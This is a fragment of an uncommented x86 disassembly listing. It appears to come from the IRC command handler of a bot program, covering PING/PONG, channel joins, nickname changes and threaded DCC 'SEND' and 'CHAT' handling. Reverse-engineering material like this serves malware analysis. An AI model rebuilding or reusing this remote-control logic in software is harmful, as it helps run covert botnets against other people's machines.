var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = byte ptr -23B0h
var_2330 = byte ptr -2330h
var_22B0 = byte ptr -22B0h
var_2230 = dword ptr -2230h
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = byte ptr -221Ch
var_219C = byte ptr -219Ch
var_211C = byte ptr -211Ch
var_209C = dword ptr -209Ch
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = byte ptr -2088h
var_2008 = byte ptr -2008h
var_1F88 = byte ptr -1F88h
var_1F08 = dword ptr -1F08h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = byte ptr -1EF4h
var_1DF4 = byte ptr -1DF4h
var_1D74 = dword ptr -1D74h
var_1D6C = dword ptr -1D6Ch
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D50 = byte ptr -1D50h
var_1D3C = byte ptr -1D3Ch
var_1C38 = byte ptr -1C38h
var_1BB4 = dword ptr -1BB4h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1B9C = byte ptr -1B9Ch
var_1B88 = byte ptr -1B88h
var_1A84 = byte ptr -1A84h
var_1A04 = dword ptr -1A04h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = byte ptr -19ECh
var_196C = byte ptr -196Ch
var_192C = byte ptr -192Ch
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_181C = dword ptr -181Ch
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = byte ptr -1810h
var_17D8 = byte ptr -17D8h
var_17A0 = byte ptr -17A0h
var_1784 = byte ptr -1784h
var_1780 = byte ptr -1780h
var_1700 = byte ptr -1700h
var_16C0 = byte ptr -16C0h
var_1630 = dword ptr -1630h
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = byte ptr -161Ch
var_159C = byte ptr -159Ch
var_151C = dword ptr -151Ch
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = byte ptr -150Ch
var_14FC = byte ptr -14FCh
var_147C = byte ptr -147Ch
var_13FC = dword ptr -13FCh
var_13F4 = dword ptr -13F4h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = byte ptr -13DCh
var_135C = byte ptr -135Ch
var_12DC = byte ptr -12DCh
var_125C = dword ptr -125Ch
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_1238 = byte ptr -1238h
var_11B8 = byte ptr -11B8h
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_1118 = dword ptr -1118h
var_1114 = byte ptr -1114h
var_1094 = byte ptr -1094h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1004 = dword ptr -1004h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = byte ptr -0FF0h
var_F70 = dword ptr -0F70h
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = byte ptr -0F5Ch
var_EDC = dword ptr -0EDCh
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = byte ptr -0EC8h
var_E48 = dword ptr -0E48h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = byte ptr -0E38h
var_DB8 = byte ptr -0DB8h
var_D98 = byte ptr -0D98h
var_D88 = dword ptr -0D88h
var_D84 = byte ptr -0D84h
var_D04 = byte ptr -0D04h
var_C84 = dword ptr -0C84h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = byte ptr -0BCCh
var_B4C = dword ptr -0B4Ch
var_B48 = dword ptr -0B48h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = byte ptr -0B34h
var_AB4 = dword ptr -0AB4h
var_AB0 = dword ptr -0AB0h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = byte ptr -0A04h
var_984 = word ptr -984h
var_980 = dword ptr -980h
var_978 = dword ptr -978h
var_974 = dword ptr -974h
var_970 = dword ptr -970h
var_968 = byte ptr -968h
var_907 = byte ptr -907h
var_906 = byte ptr -906h
var_904 = byte ptr -904h
var_903 = byte ptr -903h
var_8FA = byte ptr -8FAh
var_8F8 = byte ptr -8F8h
var_8F6 = byte ptr -8F6h
var_8F5 = byte ptr -8F5h
var_868 = byte ptr -868h
var_858 = byte ptr -858h
var_7D8 = byte ptr -7D8h
var_758 = dword ptr -758h
var_754 = dword ptr -754h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_73C = dword ptr -73Ch
var_738 = dword ptr -738h
var_730 = dword ptr -730h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_71C = dword ptr -71Ch
var_718 = byte ptr -718h
var_698 = dword ptr -698h
var_690 = dword ptr -690h
var_68C = dword ptr -68Ch
var_688 = dword ptr -688h
var_680 = dword ptr -680h
var_67C = dword ptr -67Ch
var_678 = dword ptr -678h
var_670 = dword ptr -670h
var_644 = dword ptr -644h
var_640 = word ptr -640h
var_62C = dword ptr -62Ch
var_628 = byte ptr -628h
var_5A8 = byte ptr -5A8h
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_58C = dword ptr -58Ch
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_57C = dword ptr -57Ch
var_578 = byte ptr -578h
var_4F8 = dword ptr -4F8h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D0 = byte ptr -4D0h
var_4C4 = byte ptr -4C4h
var_48C = byte ptr -48Ch
var_47C = byte ptr -47Ch
var_3FC = byte ptr -3FCh
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_360 = dword ptr -360h
var_35C = dword ptr -35Ch
var_354 = dword ptr -354h
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_340 = byte ptr -340h
var_324 = word ptr -324h
var_322 = word ptr -322h
var_320 = dword ptr -320h
var_314 = byte ptr -314h
var_310 = dword ptr -310h
var_304 = byte ptr -304h
var_300 = byte ptr -300h
var_2FC = dword ptr -2FCh
var_2F0 = byte ptr -2F0h
var_2EC = byte ptr -2ECh
var_2EB = byte ptr -2EBh
var_2EA = byte ptr -2EAh
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = byte ptr -2D0h
var_D0 = byte ptr -0D0h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_A6 = byte ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov eax, 5D90h
lea ebp, [esp-4Ch]
call sub_41EA20
push ebx
push esi
xor ebx, ebx
mov esi, 200h
push esi
lea eax, [ebp+4Ch+var_2D0]
push ebx
push eax
mov [ebp+4Ch+var_20], 3
mov [ebp+4Ch+var_1C], ebx
mov [ebp+4Ch+var_14], ebx
mov [ebp+4Ch+var_C], ebx
mov [ebp+4Ch+var_4], ebx
mov [ebp+4Ch+var_8], ebx
call sub_41E5F0
push 1Bh
push [ebp+4Ch+arg_10]
lea eax, [ebp+4Ch+var_340]
push eax
call sub_41E860
add esp, 18h
cmp [ebp+4Ch+arg_0], ebx
jnz short loc_4027AA
xor eax, eax
inc eax
jmp loc_402B96
; ---------------------------------------------------------------------------
loc_4027AA: ; CODE XREF: sub_40274D+53j
push edi
push esi
lea eax, [ebp+4Ch+var_4590]
push ebx
push eax
call sub_41E5F0
mov esi, 1FFh
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_4590]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_4590]
push offset asc_42FCE4 ; " :"
push eax
call sub_41F090
mov [ebp+4Ch+var_18], eax
push esi
lea eax, [ebp+4Ch+var_4590]
push eax
lea eax, [ebp+4Ch+var_4AF8]
push eax
call sub_41E860
mov esi, offset asc_42FCE0 ; " "
lea eax, [ebp+4Ch+var_4AF8]
push esi
push eax
call sub_41E7B2
xor edi, edi
add esp, 34h
mov [ebp+4Ch+var_A4], eax
inc edi
loc_402811: ; CODE XREF: sub_40274D+D5j
push esi
push ebx
call sub_41E7B2
mov [ebp+edi*4+4Ch+var_A4], eax
inc edi
cmp edi, 20h
pop ecx
pop ecx
jl short loc_402811
mov esi, [ebp+4Ch+var_A4]
cmp esi, ebx
jz loc_402B92
cmp [ebp+4Ch+var_A0], ebx
jz loc_402B92
push 100h
lea eax, [ebp+4Ch+var_968]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
push 1Fh
pop edx
loc_402850: ; CODE XREF: sub_40274D+131j
lea ecx, [ebp+edx*4+4Ch+var_A4]
mov eax, [ecx]
cmp eax, ebx
jz short loc_40287D
cmp byte ptr [eax], 2Dh
jnz short loc_402880
cmp [eax+2], bl
jnz short loc_402880
movsx esi, byte ptr [eax+1]
mov [ebp+esi+4Ch+var_968], 1
mov [eax], bl
mov [eax+1], bl
mov [ecx], ebx
mov esi, [ebp+4Ch+var_A4]
mov [eax+2], bl
loc_40287D: ; CODE XREF: sub_40274D+10Bj
dec edx
jns short loc_402850
loc_402880: ; CODE XREF: sub_40274D+110j
; sub_40274D+115j
xor edi, edi
inc edi
cmp [ebp+4Ch+var_8F5], bl
jz short loc_40288E
mov [ebp+4Ch+var_C], edi
loc_40288E: ; CODE XREF: sub_40274D+13Cj
cmp [ebp+4Ch+var_8FA], bl
jz short loc_40289C
mov [ebp+4Ch+var_C], ebx
mov [ebp+4Ch+var_4], edi
loc_40289C: ; CODE XREF: sub_40274D+147j
cmp byte ptr [esi], 0Ah
jz short loc_4028D6
push 7Fh
lea eax, [ebp+4Ch+var_E38]
push esi
push eax
call sub_41E860
push 17h
lea eax, [esi+1]
push eax
lea eax, [ebp+4Ch+var_D0]
push eax
call sub_41E860
lea eax, [ebp+4Ch+var_D0]
push offset asc_42FCDC ; "!"
push eax
call sub_41E7B2
add esp, 20h
loc_4028D6: ; CODE XREF: sub_40274D+152j
push esi
push offset aPing ; "PING"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402922
push [ebp+4Ch+var_A0]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
mov eax, [ebp+4Ch+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz short loc_40291B
push [ebp+4Ch+arg_C]
push [ebp+4Ch+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
add esp, 10h
loc_40291B: ; CODE XREF: sub_40274D+1B6j
; sub_40274D+224j ...
mov eax, edi
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_402922: ; CODE XREF: sub_40274D+198j
mov esi, [ebp+4Ch+var_A0]
push esi
push offset a001 ; "001"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A21D
push esi
push offset a005 ; "005"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A21D
push esi
push offset a302 ; "302"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402987
push offset a@ ; "@"
push [ebp+4Ch+var_98]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40291B
push 9Fh
inc eax
push eax
push [ebp+4Ch+arg_1C]
call sub_41E860
add esp, 0Ch
jmp short loc_40291B
; ---------------------------------------------------------------------------
loc_402987: ; CODE XREF: sub_40274D+211j
push esi
push offset a433 ; "433"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4029C5
push ebx
push ds:dword_43C098
push ds:dword_43C094
push [ebp+4Ch+arg_10]
call sub_40AB83
push [ebp+4Ch+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
add esp, 1Ch
jmp loc_40291B
; ---------------------------------------------------------------------------
loc_4029C5: ; CODE XREF: sub_40274D+249j
mov esi, [ebp+4Ch+arg_18]
mov [ebp+4Ch+var_24], 3
mov edi, 80h
loc_4029D4: ; CODE XREF: sub_40274D+2A6j
lea eax, [ebp+4Ch+var_E38]
push eax
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4029EE
mov [ebp+4Ch+var_14], 1
loc_4029EE: ; CODE XREF: sub_40274D+298j
add esi, edi
dec [ebp+4Ch+var_24]
jnz short loc_4029D4
mov esi, [ebp+4Ch+var_A0]
push esi
push offset aKick ; "KICK"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402AC4
mov esi, [ebp+4Ch+arg_18]
mov [ebp+4Ch+arg_0], 3
loc_402A17: ; CODE XREF: sub_40274D+343j
cmp [esi], bl
jz short loc_402A8B
push 7Fh
lea eax, [ebp+4Ch+var_E38]
push esi
push eax
call sub_41E860
add esp, 0Ch
cmp [ebp+4Ch+var_98], ebx
jz short loc_402A8B
push [ebp+4Ch+var_98]
lea eax, [ebp+4Ch+var_D0]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402A8B
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FC70
push eax
mov [esi], bl
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
lea eax, [ebp+4Ch+var_D0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
add esp, 20h
loc_402A8B: ; CODE XREF: sub_40274D+2CCj
; sub_40274D+2E3j ...
add esi, edi
dec [ebp+4Ch+arg_0]
jnz short loc_402A17
push [ebp+4Ch+var_98]
push [ebp+4Ch+arg_10]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402B92
push [ebp+4Ch+arg_C]
mov eax, [ebp+4Ch+arg_20]
push [ebp+4Ch+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_402AB7: ; CODE XREF: sub_40274D+58Aj
; sub_40274D+7FCj ...
push [ebp+4Ch+arg_4]
call sub_4011F5
jmp loc_404D0F
; ---------------------------------------------------------------------------
loc_402AC4: ; CODE XREF: sub_40274D+2BAj
push esi
push offset aNick ; "NICK"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402BFD
mov eax, [ebp+4Ch+var_9C]
mov esi, [ebp+4Ch+arg_18]
inc eax
mov [ebp+4Ch+arg_0], eax
mov [ebp+4Ch+var_20], 3
loc_402AEA: ; CODE XREF: sub_40274D+3EFj
lea eax, [ebp+4Ch+var_E38]
push eax
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402B37
lea eax, [ebp+4Ch+var_E38]
push 21h
push eax
call sub_41EFD0
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+4Ch+var_14], eax
jz short loc_402B37
push [ebp+4Ch+arg_0]
lea edi, [esi+2]
lea eax, [edi-1]
push eax
mov byte ptr [esi], 3Ah
call sub_41EEC0
push [ebp+4Ch+var_14]
push edi
call sub_41EED0
add esp, 10h
mov edi, 80h
loc_402B37: ; CODE XREF: sub_40274D+3AEj
; sub_40274D+3C5j
add esi, edi
dec [ebp+4Ch+var_20]
jnz short loc_402AEA
cmp [ebp+4Ch+arg_0], ebx
jz short loc_402B92
push [ebp+4Ch+arg_10]
lea eax, [ebp+4Ch+var_D0]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402B6A
push 0Fh
push [ebp+4Ch+arg_0]
push [ebp+4Ch+arg_10]
call sub_41E860
jmp loc_404199
; ---------------------------------------------------------------------------
loc_402B6A: ; CODE XREF: sub_40274D+409j
mov edi, [ebp+4Ch+arg_18]
xor esi, esi
loc_402B6F: ; CODE XREF: sub_40274D+443j
cmp [edi], bl
jz short loc_402B86
lea eax, [ebp+4Ch+var_E38]
push eax
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_402B9D
loc_402B86: ; CODE XREF: sub_40274D+424j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402B6F
loc_402B92: ; CODE XREF: sub_40274D+DCj
; sub_40274D+E5j ...
xor eax, eax
inc eax
loc_402B95: ; CODE XREF: sub_40274D+1D0j
; sub_40274D+222Fj ...
pop edi
loc_402B96: ; CODE XREF: sub_40274D+58j
pop esi
pop ebx
add ebp, 4Ch
leave
retn
; ---------------------------------------------------------------------------
loc_402B9D: ; CODE XREF: sub_40274D+437j
lea eax, [ebp+4Ch+var_E38]
push 21h
push eax
call sub_41EFD0
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+4Ch+var_20], eax
jz short loc_402B92
push eax
call sub_41E1C0
push [ebp+4Ch+arg_0]
mov edi, eax
call sub_41E1C0
add edi, eax
cmp edi, 7Eh
pop ecx
pop ecx
ja short loc_402B92
push [ebp+4Ch+var_20]
shl esi, 7
push [ebp+4Ch+arg_0]
add esi, [ebp+4Ch+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_41E6A6
push ebx
push ebx
lea eax, [ebp+4Ch+var_45F4]
push eax
push [ebp+4Ch+arg_8]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 24h
jmp short loc_402B92
; ---------------------------------------------------------------------------
loc_402BFD: ; CODE XREF: sub_40274D+386j
push esi
push offset aPart ; "PART"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_402C1F
push esi
push offset aQuit ; "QUIT"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402C43
loc_402C1F: ; CODE XREF: sub_40274D+4BFj
mov edi, [ebp+4Ch+arg_18]
xor esi, esi
loc_402C24: ; CODE XREF: sub_40274D+4F4j
cmp [edi], bl
jz short loc_402C37
push [ebp+4Ch+var_A4]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_402C81
loc_402C37: ; CODE XREF: sub_40274D+4D9j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402C24
loc_402C43: ; CODE XREF: sub_40274D+4D0j
push [ebp+4Ch+var_A0]
push offset a353 ; "353"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402CDC
push [ebp+4Ch+var_94]
push [ebp+4Ch+arg_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402C74
mov eax, [ebp+4Ch+arg_20]
mov dword ptr [eax], 1
loc_402C74: ; CODE XREF: sub_40274D+51Cj
push [ebp+4Ch+var_94]
push offset unk_42FC1C
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_402C81: ; CODE XREF: sub_40274D+4E8j
mov eax, [ebp+4Ch+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FBF8
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
push [ebp+4Ch+var_A0]
push offset aPart ; "PART"
call sub_41E990
add esp, 18h
test eax, eax
jnz loc_402B92
lea eax, [ebp+4Ch+var_2D0]
push eax
mov eax, [ebp+4Ch+var_A4]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402CDC: ; CODE XREF: sub_40274D+507j
push [ebp+4Ch+var_A0]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
mov edi, offset aNotice ; "NOTICE"
jz short loc_402D27
push [ebp+4Ch+var_A0]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_402D27
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_404979
cmp ds:dword_43C084, ebx
jz loc_404979
loc_402D27: ; CODE XREF: sub_40274D+5A6j
; sub_40274D+5B5j
push [ebp+4Ch+var_A0]
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_402E83
push [ebp+4Ch+var_A0]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_402E83
mov eax, [ebp+4Ch+var_98]
inc [ebp+4Ch+var_94]
mov [ebp+4Ch+var_20], 4
mov [ebp+4Ch+var_9C], eax
loc_402D5D: ; CODE XREF: sub_40274D+7D7j
; sub_40274D+810j ...
mov esi, [ebp+4Ch+var_20]
shl esi, 2
lea edi, [ebp+esi+4Ch+var_A4]
mov eax, [edi]
push eax
push offset dword_42FBEC
mov [ebp+4Ch+var_10], eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4030EC
push [ebp+esi+4Ch+var_A0]
push offset aSend_0 ; "SEND"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402FC0
cmp [ebp+4Ch+var_14], ebx
jz loc_402F9C
push [ebp+esi+4Ch+var_9C]
mov edi, offset aS ; "%s"
lea eax, [ebp+4Ch+var_1B88]
push edi
push eax
call sub_41E6A6
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_1B9C]
push edi
push eax
call sub_41E6A6
push [ebp+esi+4Ch+var_94]
call sub_41E7AD
mov [ebp+4Ch+var_1A04], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1BA4], eax
push 7Fh
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_1A84]
push eax
call sub_41E860
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_19FC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_19F8], eax
lea eax, [ebp+4Ch+var_1A84]
push eax
lea eax, [ebp+4Ch+var_1B88]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FBB4
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 1Ah
push eax
call sub_40AE85
add esp, 44h
mov [ebp+4Ch+var_1A00], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1BA4]
push eax
push offset word_418CEA
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1A00]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz loc_402F8F
loc_402E72: ; CODE XREF: sub_40274D+7473j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42FB78
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_402E83: ; CODE XREF: sub_40274D+5E7j
; sub_40274D+5FAj
push [ebp+4Ch+var_A0]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_402E99
mov [ebp+4Ch+var_4], 1
loc_402E99: ; CODE XREF: sub_40274D+743j
cmp [ebp+4Ch+var_9C], ebx
jz loc_402B92
push offset dword_42FB74
push [ebp+4Ch+var_9C]
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_402EBA
cmp [ebp+4Ch+var_4], ebx
jz short loc_402EC3
loc_402EBA: ; CODE XREF: sub_40274D+766j
lea eax, [ebp+4Ch+var_D0]
mov [ebp+4Ch+var_9C], eax
loc_402EC3: ; CODE XREF: sub_40274D+76Bj
cmp [ebp+4Ch+var_98], ebx
jz loc_402B92
inc [ebp+4Ch+var_98]
jz short loc_402F01
cmp [ebp+4Ch+arg_10], ebx
jz short loc_402F01
lea eax, [ebp+4Ch+var_340]
push eax
call sub_41E1C0
push eax
push [ebp+4Ch+var_98]
lea eax, [ebp+4Ch+var_340]
push eax
call sub_41EE80
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+4Ch+var_20], eax
jmp short loc_402F04
; ---------------------------------------------------------------------------
loc_402F01: ; CODE XREF: sub_40274D+782j
; sub_40274D+787j
mov eax, [ebp+4Ch+var_20]
loc_402F04: ; CODE XREF: sub_40274D+7B2j
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+4Ch+var_A4]
cmp edi, ebx
jz loc_402B92
push edi
push offset dword_42FB68
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402D5D
mov ecx, [ebp+4Ch+var_9C]
cmp byte ptr [ecx], 23h
jz short loc_402F4E
mov eax, ds:dword_4D1FE0
mov eax, ds:off_43C168[eax*4]
cmp [eax], bl
jz short loc_402F4E
push eax
push ecx
push offset dword_42FB4C
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402F4E: ; CODE XREF: sub_40274D+7E3j
; sub_40274D+7F3j
push edi
push offset dword_42FB44
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_402D5D
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz loc_402D5D
mov eax, [ebp+4Ch+var_9C]
cmp byte ptr [eax], 23h
jz loc_402D5D
push esi
push eax
push offset dword_42FB2C
jmp loc_402AB7
; ---------------------------------------------------------------------------
loc_402F87: ; CODE XREF: sub_40274D+848j
push 32h
call ds:dword_42B014 ; Sleep
loc_402F8F: ; CODE XREF: sub_40274D+71Fj
cmp [ebp+4Ch+var_19F4], ebx
jz short loc_402F87
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_402F9C: ; CODE XREF: sub_40274D+64Fj
lea eax, [ebp+4Ch+var_D0]
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FAE8
push eax
call sub_41E6A6
add esp, 10h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_402FC0: ; CODE XREF: sub_40274D+646j
push [ebp+esi+4Ch+var_A0]
push offset aChat ; "CHAT"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_403102
cmp [ebp+4Ch+var_14], ebx
jz loc_4030DB
push 1Bh
call sub_40B075
test eax, eax
pop ecx
jnz loc_4030CA
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_2AB0]
push offset aS ; "%s"
push eax
call sub_41E6A6
push [ebp+esi+4Ch+var_94]
call sub_41E7AD
mov [ebp+4Ch+var_2918], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2AB8], eax
push 7Fh
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_2998]
push eax
